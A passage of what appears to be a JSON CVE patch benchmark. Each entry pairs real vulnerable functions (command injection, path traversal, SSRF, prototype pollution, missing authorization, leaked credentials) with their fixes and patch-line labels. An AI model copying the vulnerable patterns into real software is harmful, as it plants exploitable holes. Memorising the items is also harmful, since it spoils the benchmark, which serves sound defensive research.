                "snippet": "package types\n\nimport (\n\tsdkerrors \"github.com/cosmos/cosmos-sdk/types/errors\"\n)\n\n// RootCodespace is the codespace for all errors defined in this package\nconst RootCodespace = \"evmos\"\n\n// root error codes for Evmos\nconst (\n\tcodeKeyTypeNotSupported = iota + 2\n)\n\n// errors\nvar (\n\tErrKeyTypeNotSupported = sdkerrors.Register(RootCodespace, codeKeyTypeNotSupported, \"key type 'secp256k1' not supported\")\n)"
            },
            {
                "id": "fix_go_69_4",
                "commit": "2887025",
                "file_path": "x/claims/types/claim_record.go",
                "start_line": 62,
                "end_line": 69,
                "snippet": "func (cr ClaimsRecord) HasClaimedAny() bool {\n\tfor _, completed := range cr.ActionsCompleted {\n\t\tif completed {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-24738"
    },
    {
        "cve_id": "CVE-2019-10792",
        "cve_description": "bodymen before 1.1.1 is vulnerable to Prototype Pollution. The handler function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.",
        "cwe_info": {
            "CWE-74": {
                "name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')",
                "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/diegohaz/bodymen",
        "patch_url": [
            "https://github.com/diegohaz/bodymen/commit/5d52e8cf360410ee697afd90937e6042c3a8653b"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_72_1",
                "commit": "ad8881d",
                "file_path": "src/index.js",
                "start_line": 20,
                "end_line": 26,
                "snippet": "export function handler (type, name, fn) {\n  if (arguments.length > 2) {\n    handlers[type][name] = fn\n  }\n\n  return handlers[type][name]\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_72_1",
                "commit": "5d52e8cf360410ee697afd90937e6042c3a8653b",
                "file_path": "src/index.js",
                "start_line": 20,
                "end_line": 34,
                "snippet": "export function handler (type, name, fn) {\n  if (\n    type === 'constructor' ||\n    type === '__proto__' ||\n    name === 'constructor' ||\n    name === '__proto__'\n  ) {\n    return\n  }\n  if (arguments.length > 2) {\n    handlers[type][name] = fn\n  }\n\n  return handlers[type][name]\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-10792"
    },
    {
        "cve_id": "CVE-2019-10788",
        "cve_description": "im-metadata through 3.0.1 allows remote attackers to execute arbitrary commands via the \"exec\" argument. It is possible to inject arbitrary commands as part of the metadata options which is given to the \"exec\" function.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/Turistforeningen/node-im-metadata",
        "patch_url": [
            "https://github.com/Turistforeningen/node-im-metadata/commit/ea15dddbe0f65694bfde36b78dd488e90f246639"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_11_1",
                "commit": "049ce24dbb4302811b9247444347da6561605a8a",
                "file_path": "index.js",
                "start_line": 6,
                "end_line": 21,
                "snippet": "module.exports = function(path, opts, cb) {\n  if (!cb) {\n    cb = opts;\n    opts = {};\n  }\n\n  var cmd = module.exports.cmd(path, opts);\n  opts.timeout = opts.timeout || 5000;\n\n  exec(cmd, opts, function(e, stdout, stderr) {\n    if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n    return cb(null, module.exports.parse(path, stdout, opts));\n  });\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_11_1",
                "commit": "ea15dddbe0f65694bfde36b78dd488e90f246639",
                "file_path": "index.js",
                "start_line": 6,
                "end_line": 24,
                "snippet": "module.exports = function(path, opts, cb) {\n  if (!cb) {\n    cb = opts;\n    opts = {};\n  }\n\n  if(/;|&|`|\\$|\\(|\\)|\\|\\||\\||!|>|<|\\?|\\${/g.test(JSON.stringify(path))) {\n    console.log('Input Validation failed, Suspicious Characters found');\n  } else {\n    var cmd = module.exports.cmd(path, opts);\n    opts.timeout = opts.timeout || 5000;\n    exec(cmd, opts, function(e, stdout, stderr) {\n      if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n      return cb(null, module.exports.parse(path, stdout, opts));\n  });\n}\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-10788"
    },
    {
        "cve_id": "CVE-2023-32303",
        "cve_description": "Planet is software that provides satellite data. The secret file stores the user's Planet API authentication information. It should only be accessible by the user, but before version 2.0.1, its permissions allowed the user's group and non-group to read the file as well. This issue was patched in version 2.0.1. As a workaround, set the secret file permissions to only user read/write by hand.",
        "cwe_info": {
            "CWE-732": {
                "name": "Incorrect Permission Assignment for Critical Resource",
                "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."
            }
        },
        "repo": "https://github.com/planetlabs/planet-client-python",
        "patch_url": [
            "https://github.com/planetlabs/planet-client-python/commit/d71415a83119c5e89d7b80d5f940d162376ee3b7"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_52_1",
                "commit": "9783607",
                "file_path": "planet/auth.py",
                "start_line": 229,
                "end_line": 230,
                "snippet": "    def __init__(self, path):\n        self.path = path",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            2
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_52_2",
                "commit": "9783607",
                "file_path": "planet/auth.py",
                "start_line": 241,
                "end_line": 244,
                "snippet": "    def _write(self, contents: dict):\n        LOGGER.debug(f'Writing to {self.path}')\n        with open(self.path, 'w') as fp:\n            fp.write(json.dumps(contents))",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_52_1",
                "commit": "d71415a",
                "file_path": "planet/auth.py",
                "start_line": 230,
                "end_line": 238,
                "snippet": "    def __init__(self, path: typing.Union[str, pathlib.Path]):\n        self.path = pathlib.Path(path)\n\n        self.permissions = stat.S_IRUSR | stat.S_IWUSR  # user rw\n\n        # in sdk versions <=2.0.0, secret file was created with the wrong\n        # permissions, fix this automatically as well as catching the unlikely\n        # cases where the permissions get changed externally\n        self._enforce_permissions()"
            },
            {
                "id": "fix_py_52_2",
                "commit": "d71415a",
                "file_path": "planet/auth.py",
                "start_line": 249,
                "end_line": 256,
                "snippet": "    def _write(self, contents: dict):\n        LOGGER.debug(f'Writing to {self.path}')\n\n        def opener(path, flags):\n            return os.open(path, flags, self.permissions)\n\n        with open(self.path, 'w', opener=opener) as fp:\n            fp.write(json.dumps(contents))"
            },
            {
                "id": "fix_py_52_3",
                "commit": "d71415a",
                "file_path": "planet/auth.py",
                "start_line": 264,
                "end_line": 276,
                "snippet": "    def _enforce_permissions(self):\n        '''if the file's permissions are not what they should be, fix them'''\n        try:\n            # in octal, permissions is the last three bits of the mode\n            file_permissions = self.path.stat().st_mode & 0o777\n            if file_permissions != self.permissions:\n                LOGGER.debug(\n                    f'{self.path} permissions are {oct(file_permissions)}, '\n                    f'should be {oct(self.permissions)}. Fixing.')\n                self.path.chmod(self.permissions)\n        except FileNotFoundError:\n            # just skip it if the secret file doesn't exist\n            pass"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-32303"
    },
    {
        "cve_id": "CVE-2024-23334",
        "cve_description": "aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.  Disabling follow_symlinks and using a reverse proxy are encouraged mitigations.  Version 3.9.2 fixes this issue.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/aio-libs/aiohttp",
        "patch_url": [
            "https://github.com/aio-libs/aiohttp/commit/1c335944d6a8b1298baf179b7c0b3069f10c514b"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_17_1",
                "commit": "33ccdfb0a12690af5bb49bda2319ec0907fa7827",
                "file_path": "aiohttp/web_urldispatcher.py",
                "start_line": 558,
                "end_line": 592,
                "snippet": "    def url_for(  # type: ignore[override]\n        self,\n        *,\n        filename: PathLike,\n        append_version: Optional[bool] = None,\n    ) -> URL:\n        if append_version is None:\n            append_version = self._append_version\n        filename = str(filename).lstrip(\"/\")\n\n        url = URL.build(path=self._prefix, encoded=True)\n        # filename is not encoded\n        if YARL_VERSION < (1, 6):\n            url = url / filename.replace(\"%\", \"%25\")\n        else:\n            url = url / filename\n\n        if append_version:\n            try:\n                filepath = self._directory.joinpath(filename).resolve()\n                if not self._follow_symlinks:\n                    filepath.relative_to(self._directory)\n            except (ValueError, FileNotFoundError):\n                # ValueError for case when path point to symlink\n                # with follow_symlinks is False\n                return url  # relatively safe\n            if filepath.is_file():\n                # TODO cache file content\n                # with file watcher for cache invalidation\n                with filepath.open(\"rb\") as f:\n                    file_bytes = f.read()\n                h = self._get_file_hash(file_bytes)\n                url = url.with_query({self.VERSION_KEY: h})\n                return url\n        return url",
                "vul_localization": [
                    {
                        "patch_lines": [
                            18
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            20,
                            21
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_17_2",
                "commit": "33ccdfb0a12690af5bb49bda2319ec0907fa7827",
                "file_path": "aiohttp/web_urldispatcher.py",
                "start_line": 634,
                "end_line": 670,
                "snippet": "    async def _handle(self, request: Request) -> StreamResponse:\n        rel_url = request.match_info[\"filename\"]\n        try:\n            filename = Path(rel_url)\n            if filename.anchor:\n                # rel_url is an absolute name like\n                # /static/\\\\machine_name\\c$ or /static/D:\\path\n                # where the static dir is totally different\n                raise HTTPForbidden()\n            filepath = self._directory.joinpath(filename).resolve()\n            if not self._follow_symlinks:\n                filepath.relative_to(self._directory)\n        except (ValueError, FileNotFoundError) as error:\n            # relatively safe\n            raise HTTPNotFound() from error\n        except HTTPForbidden:\n            raise\n        except Exception as error:\n            # perm error or other kind!\n            request.app.logger.exception(error)\n            raise HTTPNotFound() from error\n\n        # on opening a dir, load its contents if allowed\n        if filepath.is_dir():\n            if self._show_index:\n                try:\n                    return Response(\n                        text=self._directory_as_html(filepath), content_type=\"text/html\"\n                    )\n                except PermissionError:\n                    raise HTTPForbidden()\n            else:\n                raise HTTPForbidden()\n        elif filepath.is_file():\n            return FileResponse(filepath, chunk_size=self._chunk_size)\n        else:\n            raise HTTPNotFound",
                "vul_localization": [
                    {
                        "patch_lines": [
                            10,
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_17_1",
                "commit": "1c335944d6a8b1298baf179b7c0b3069f10c514b",
                "file_path": "aiohttp/web_urldispatcher.py",
                "start_line": 558,
                "end_line": 597,
                "snippet": "    def url_for(  # type: ignore[override]\n        self,\n        *,\n        filename: PathLike,\n        append_version: Optional[bool] = None,\n    ) -> URL:\n        if append_version is None:\n            append_version = self._append_version\n        filename = str(filename).lstrip(\"/\")\n\n        url = URL.build(path=self._prefix, encoded=True)\n        # filename is not encoded\n        if YARL_VERSION < (1, 6):\n            url = url / filename.replace(\"%\", \"%25\")\n        else:\n            url = url / filename\n\n        if append_version:\n            unresolved_path = self._directory.joinpath(filename)\n            try:\n                if self._follow_symlinks:\n                    normalized_path = Path(os.path.normpath(unresolved_path))\n                    normalized_path.relative_to(self._directory)\n                    filepath = normalized_path.resolve()\n                else:\n                    filepath = unresolved_path.resolve()\n                    filepath.relative_to(self._directory)\n            except (ValueError, FileNotFoundError):\n                # ValueError for case when path point to symlink\n                # with follow_symlinks is False\n                return url  # relatively safe\n            if filepath.is_file():\n                # TODO cache file content\n                # with file watcher for cache invalidation\n                with filepath.open(\"rb\") as f:\n                    file_bytes = f.read()\n                h = self._get_file_hash(file_bytes)\n                url = url.with_query({self.VERSION_KEY: h})\n                return url\n        return url"
            },
            {
                "id": "fix_py_17_2",
                "commit": "1c335944d6a8b1298baf179b7c0b3069f10c514b",
                "file_path": "aiohttp/web_urldispatcher.py",
                "start_line": 639,
                "end_line": 680,
                "snippet": "    async def _handle(self, request: Request) -> StreamResponse:\n        rel_url = request.match_info[\"filename\"]\n        try:\n            filename = Path(rel_url)\n            if filename.anchor:\n                # rel_url is an absolute name like\n                # /static/\\\\machine_name\\c$ or /static/D:\\path\n                # where the static dir is totally different\n                raise HTTPForbidden()\n            unresolved_path = self._directory.joinpath(filename)\n            if self._follow_symlinks:\n                normalized_path = Path(os.path.normpath(unresolved_path))\n                normalized_path.relative_to(self._directory)\n                filepath = normalized_path.resolve()\n            else:\n                filepath = unresolved_path.resolve()\n                filepath.relative_to(self._directory)\n        except (ValueError, FileNotFoundError) as error:\n            # relatively safe\n            raise HTTPNotFound() from error\n        except HTTPForbidden:\n            raise\n        except Exception as error:\n            # perm error or other kind!\n            request.app.logger.exception(error)\n            raise HTTPNotFound() from error\n\n        # on opening a dir, load its contents if allowed\n        if filepath.is_dir():\n            if self._show_index:\n                try:\n                    return Response(\n                        text=self._directory_as_html(filepath), content_type=\"text/html\"\n                    )\n                except PermissionError:\n                    raise HTTPForbidden()\n            else:\n                raise HTTPForbidden()\n        elif filepath.is_file():\n            return FileResponse(filepath, chunk_size=self._chunk_size)\n        else:\n            raise HTTPNotFound"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-23334"
    },
    {
        "cve_id": "CVE-2023-24623",
        "cve_description": "Paranoidhttp before 0.3.0 allows SSRF because [::] is equivalent to the 127.0.0.1 address, but does not match the filter for private addresses.",
        "cwe_info": {
            "CWE-918": {
                "name": "Server-Side Request Forgery (SSRF)",
                "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."
            }
        },
        "repo": "https://github.com/hakobe/paranoidhttp",
        "patch_url": [
            "https://github.com/hakobe/paranoidhttp/commit/07f671da14ce63a80f4e52432b32e8d178d75fd3"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_40_1",
                "commit": "a5a8577",
                "file_path": "client.go",
                "start_line": 112,
                "end_line": 157,
                "snippet": "func safeAddr(ctx context.Context, resolver *net.Resolver, hostport string, opts ...Option) (string, error) {\n\tc := basicConfig()\n\tfor _, opt := range opts {\n\t\topt(c)\n\t}\n\thost, port, err := net.SplitHostPort(hostport)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip != nil {\n\t\tif ip.To4() != nil && c.isIPForbidden(ip) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", ip)\n\t\t}\n\t\treturn net.JoinHostPort(ip.String(), port), nil\n\t}\n\n\tif c.isHostForbidden(host) {\n\t\treturn \"\", fmt.Errorf(\"bad host is detected: %v\", host)\n\t}\n\n\tr := resolver\n\tif r == nil {\n\t\tr = net.DefaultResolver\n\t}\n\taddrs, err := r.LookupIPAddr(ctx, host)\n\tif err != nil || len(addrs) <= 0 {\n\t\treturn \"\", err\n\t}\n\tsafeAddrs := make([]net.IPAddr, 0, len(addrs))\n\tfor _, addr := range addrs {\n\t\t// only support IPv4 address\n\t\tif addr.IP.To4() == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif c.isIPForbidden(addr.IP) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", addr.IP)\n\t\t}\n\t\tsafeAddrs = append(safeAddrs, addr)\n\t}\n\tif len(safeAddrs) == 0 {\n\t\treturn \"\", fmt.Errorf(\"fail to lookup ip addr: %v\", host)\n\t}\n\treturn net.JoinHostPort(safeAddrs[0].IP.String(), port), nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            13
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_40_1",
                "commit": "07f671d",
                "file_path": "client.go",
                "start_line": 112,
                "end_line": 157,
                "snippet": "func safeAddr(ctx context.Context, resolver *net.Resolver, hostport string, opts ...Option) (string, error) {\n\tc := basicConfig()\n\tfor _, opt := range opts {\n\t\topt(c)\n\t}\n\thost, port, err := net.SplitHostPort(hostport)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip != nil {\n\t\tif ip.IsUnspecified() || (ip.To4() != nil && c.isIPForbidden(ip)) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", ip)\n\t\t}\n\t\treturn net.JoinHostPort(ip.String(), port), nil\n\t}\n\n\tif c.isHostForbidden(host) {\n\t\treturn \"\", fmt.Errorf(\"bad host is detected: %v\", host)\n\t}\n\n\tr := resolver\n\tif r == nil {\n\t\tr = net.DefaultResolver\n\t}\n\taddrs, err := r.LookupIPAddr(ctx, host)\n\tif err != nil || len(addrs) <= 0 {\n\t\treturn \"\", err\n\t}\n\tsafeAddrs := make([]net.IPAddr, 0, len(addrs))\n\tfor _, addr := range addrs {\n\t\t// only support IPv4 address\n\t\tif addr.IP.To4() == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif c.isIPForbidden(addr.IP) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", addr.IP)\n\t\t}\n\t\tsafeAddrs = append(safeAddrs, addr)\n\t}\n\tif len(safeAddrs) == 0 {\n\t\treturn \"\", fmt.Errorf(\"fail to lookup ip addr: %v\", host)\n\t}\n\treturn net.JoinHostPort(safeAddrs[0].IP.String(), port), nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-24623"
    },
    {
        "cve_id": "CVE-2024-5823",
        "cve_description": "The application exposes an online update operation in the ChuanhuChatGPT UI that can reach the repository update routine and modify application/configuration files without verifying that the caller is an authenticated administrator. An attacker who can access the Gradio web interface, including a request with no user identity or a non-admin identity, may trigger the update action and cause the updater to overwrite files that affect application behavior. This can lead to unauthorized configuration or code changes and may disrupt normal service operation.",
        "cwe_info": {
            "CWE-610": {
                "name": "Externally Controlled Reference to a Resource in Another Sphere",
                "description": "The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere."
            }
        },
        "repo": "https://github.com/gaizhenbiao/chuanhuchatgpt",
        "patch_url": [
            "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/720c23d755a4a955dcb0a54e8c200a2247a27f8b"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_56_1",
                "commit": "ffea5e9",
                "file_path": "modules/utils.py",
                "start_line": 744,
                "end_line": 760,
                "snippet": "def update_chuanhu():\n    from .repo import background_update\n\n    print(\"[Updater] Trying to update...\")\n    update_status = background_update()\n    if update_status == \"success\":\n        logging.info(\"Successfully updated, restart needed\")\n        status = 'success'\n        return gr.Markdown(value=i18n(\"\\u66f4\\u65b0\\u6210\\u529f\\uff0c\\u8bf7\\u91cd\\u542f\\u672c\\u7a0b\\u5e8f\") + status)\n    else:\n        status = 'failure'\n        return gr.Markdown(\n            value=i18n(\n                \"\\u66f4\\u65b0\\u5931\\u8d25\\uff0c\\u8bf7\\u5c1d\\u8bd5[\\u624b\\u52a8\\u66f4\\u65b0](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/\\u4f7f\\u7528\\u6559\\u7a0b#\\u624b\\u52a8\\u66f4\\u65b0)\"\n            )\n            + status\n        )",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_56_1",
                "commit": "720c23d755a4a955dcb0a54e8c200a2247a27f8b",
                "file_path": "ChuanhuChatbot.py",
                "start_line": 784,
                "end_line": 784,
                "snippet": "        [user_name],"
            },
            {
                "id": "fix_py_56_2",
                "commit": "720c23d755a4a955dcb0a54e8c200a2247a27f8b",
                "file_path": "modules/utils.py",
                "start_line": 744,
                "end_line": 762,
                "snippet": "def update_chuanhu(username):\n    if username not in admin_list:\n        return gr.Markdown(value=i18n(\"no_permission_to_update_description\"))\n    from .repo import background_update\n\n    print(\"[Updater] Trying to update...\")\n    update_status = background_update()\n    if update_status == \"success\":\n        logging.info(\"Successfully updated, restart needed\")\n        status = 'success'\n        return gr.Markdown(value=i18n(\"\\u66f4\\u65b0\\u6210\\u529f\\uff0c\\u8bf7\\u91cd\\u542f\\u672c\\u7a0b\\u5e8f\") + status)\n    else:\n        status = 'failure'\n        return gr.Markdown(\n            value=i18n(\n                \"\\u66f4\\u65b0\\u5931\\u8d25\\uff0c\\u8bf7\\u5c1d\\u8bd5[\\u624b\\u52a8\\u66f4\\u65b0](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/\\u4f7f\\u7528\\u6559\\u7a0b#\\u624b\\u52a8\\u66f4\\u65b0)\"\n            )\n            + status\n        )"
            },
            {
                "id": "fix_py_56_3",
                "commit": "720c23d755a4a955dcb0a54e8c200a2247a27f8b",
                "file_path": "modules/utils.py",
                "start_line": 30,
                "end_line": 30,
                "snippet": "from modules.config import retrieve_proxy, hide_history_when_not_logged_in, admin_list"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-5823"
    },
    {
        "cve_id": "CVE-2022-0691",
        "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.9.",
        "cwe_info": {
            "CWE-862": {
                "name": "Missing Authorization",
                "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-639": {
                "name": "Authorization Bypass Through User-Controlled Key",
                "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."
            }
        },
        "repo": "https://github.com/unshiftio/url-parse",
        "patch_url": [
            "https://github.com/unshiftio/url-parse/commit/0e3fb542d60ddbf6933f22eb9b1e06e25eaa5b63"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_6_1",
                "commit": "61864a8",
                "file_path": "index.js",
                "start_line": 3,
                "end_line": 9,
                "snippet": "var required = require('requires-port')\n  , qs = require('querystringify')\n  , CRHTLF = /[\\n\\r\\t]/g\n  , slashes = /^[A-Za-z][A-Za-z0-9+-.]*:\\/\\//\n  , protocolre = /^([a-z][a-z0-9.+-]*:)?(\\/\\/)?([\\\\/]+)?([\\S\\s]*)/i\n  , windowsDriveLetter = /^[a-zA-Z]:/\n  , whitespace = /^[ \\f\\n\\r\\t\\v\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]+/;",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_6_1",
                "commit": "0e3fb54",
                "file_path": "index.js",
                "start_line": 3,
                "end_line": 9,
                "snippet": "var required = require('requires-port')\n  , qs = require('querystringify')\n  , CRHTLF = /[\\n\\r\\t]/g\n  , slashes = /^[A-Za-z][A-Za-z0-9+-.]*:\\/\\//\n  , protocolre = /^([a-z][a-z0-9.+-]*:)?(\\/\\/)?([\\\\/]+)?([\\S\\s]*)/i\n  , windowsDriveLetter = /^[a-zA-Z]:/\n  , whitespace = /^[\\x00-\\x20\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]+/;"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-0691"
    },
    {
        "cve_id": "CVE-2021-41125",
        "cve_description": "Scrapy is a high-level web crawling and scraping framework for Python. If you use `HttpAuthMiddleware` (i.e. the `http_user` and `http_pass` spider attributes) for HTTP authentication, all requests will expose your credentials to the request target. This includes requests generated by Scrapy components, such as `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`, or as requests reached through redirects. Upgrade to Scrapy 2.5.1 and use the new `http_auth_domain` spider attribute to control which domains are allowed to receive the configured HTTP authentication credentials. If you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.5.1 is not an option, you may upgrade to Scrapy 1.8.1 instead. If you cannot upgrade, set your HTTP authentication credentials on a per-request basis, using for example the `w3lib.http.basic_auth_header` function to convert your credentials into a value that you can assign to the `Authorization` header of your request, instead of defining your credentials globally using `HttpAuthMiddleware`.",
        "cwe_info": {
            "CWE-522": {
                "name": "Insufficiently Protected Credentials",
                "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."
            }
        },
        "repo": "https://github.com/scrapy/scrapy",
        "patch_url": [
            "https://github.com/scrapy/scrapy/commit/b01d69a1bf48060daec8f751368622352d8b85a6"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_50_1",
                "commit": "4183925",
                "file_path": "scrapy/downloadermiddlewares/httpauth.py",
                "start_line": 22,
                "end_line": 26,
                "snippet": "    def spider_opened(self, spider):\n        usr = getattr(spider, 'http_user', '')\n        pwd = getattr(spider, 'http_pass', '')\n        if usr or pwd:\n            self.auth = basic_auth_header(usr, pwd)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_50_2",
                "commit": "4183925",
                "file_path": "scrapy/downloadermiddlewares/httpauth.py",
                "start_line": 28,
                "end_line": 31,
                "snippet": "    def process_request(self, request, spider):\n        auth = getattr(self, 'auth', None)\n        if auth and b'Authorization' not in request.headers:\n            request.headers[b'Authorization'] = auth",
                "vul_localization": [
                    {
                        "patch_lines": [
                            4
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_50_1",
                "commit": "b01d69a1bf48060daec8f751368622352d8b85a6",
                "file_path": "scrapy/downloadermiddlewares/httpauth.py",
                "start_line": 26,
                "end_line": 40,
                "snippet": "    def spider_opened(self, spider):\n        usr = getattr(spider, 'http_user', '')\n        pwd = getattr(spider, 'http_pass', '')\n        if usr or pwd:\n            self.auth = basic_auth_header(usr, pwd)\n            if not hasattr(spider, 'http_auth_domain'):\n                warnings.warn('Using HttpAuthMiddleware without http_auth_domain is deprecated and can cause security '\n                              'problems if the spider makes requests to several different domains. http_auth_domain '\n                              'will be set to the domain of the first request, please set it to the correct value '\n                              'explicitly.',\n                              category=ScrapyDeprecationWarning)\n                self.domain_unset = True\n            else:\n                self.domain = spider.http_auth_domain\n                self.domain_unset = False"
            },
            {
                "id": "fix_py_50_2",
                "commit": "b01d69a1bf48060daec8f751368622352d8b85a6",
                "file_path": "scrapy/downloadermiddlewares/httpauth.py",
                "start_line": 42,
                "end_line": 50,
                "snippet": "    def process_request(self, request, spider):\n        auth = getattr(self, 'auth', None)\n        if auth and b'Authorization' not in request.headers:\n            domain = urlparse_cached(request).hostname\n            if self.domain_unset:\n                self.domain = domain\n                self.domain_unset = False\n            if not self.domain or url_is_from_any_domain(request.url, [self.domain]):\n                request.headers[b'Authorization'] = auth"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-41125"
    },
    {
        "cve_id": "CVE-2016-10548",
        "cve_description": "Arbitrary code execution is possible in reduce-css-calc node module <=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            }
        },
        "repo": "https://github.com/MoOx/reduce-css-calc",
        "patch_url": [
            "https://github.com/MoOx/reduce-css-calc/commit/aebe8f7adce937c0fec4c1315e4113ef74cadb6a"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_26_1",
                "commit": "da7bce7d90af3ebde50295f291fa445c7b56460e",
                "file_path": "index.js",
                "start_line": 40,
                "end_line": 96,
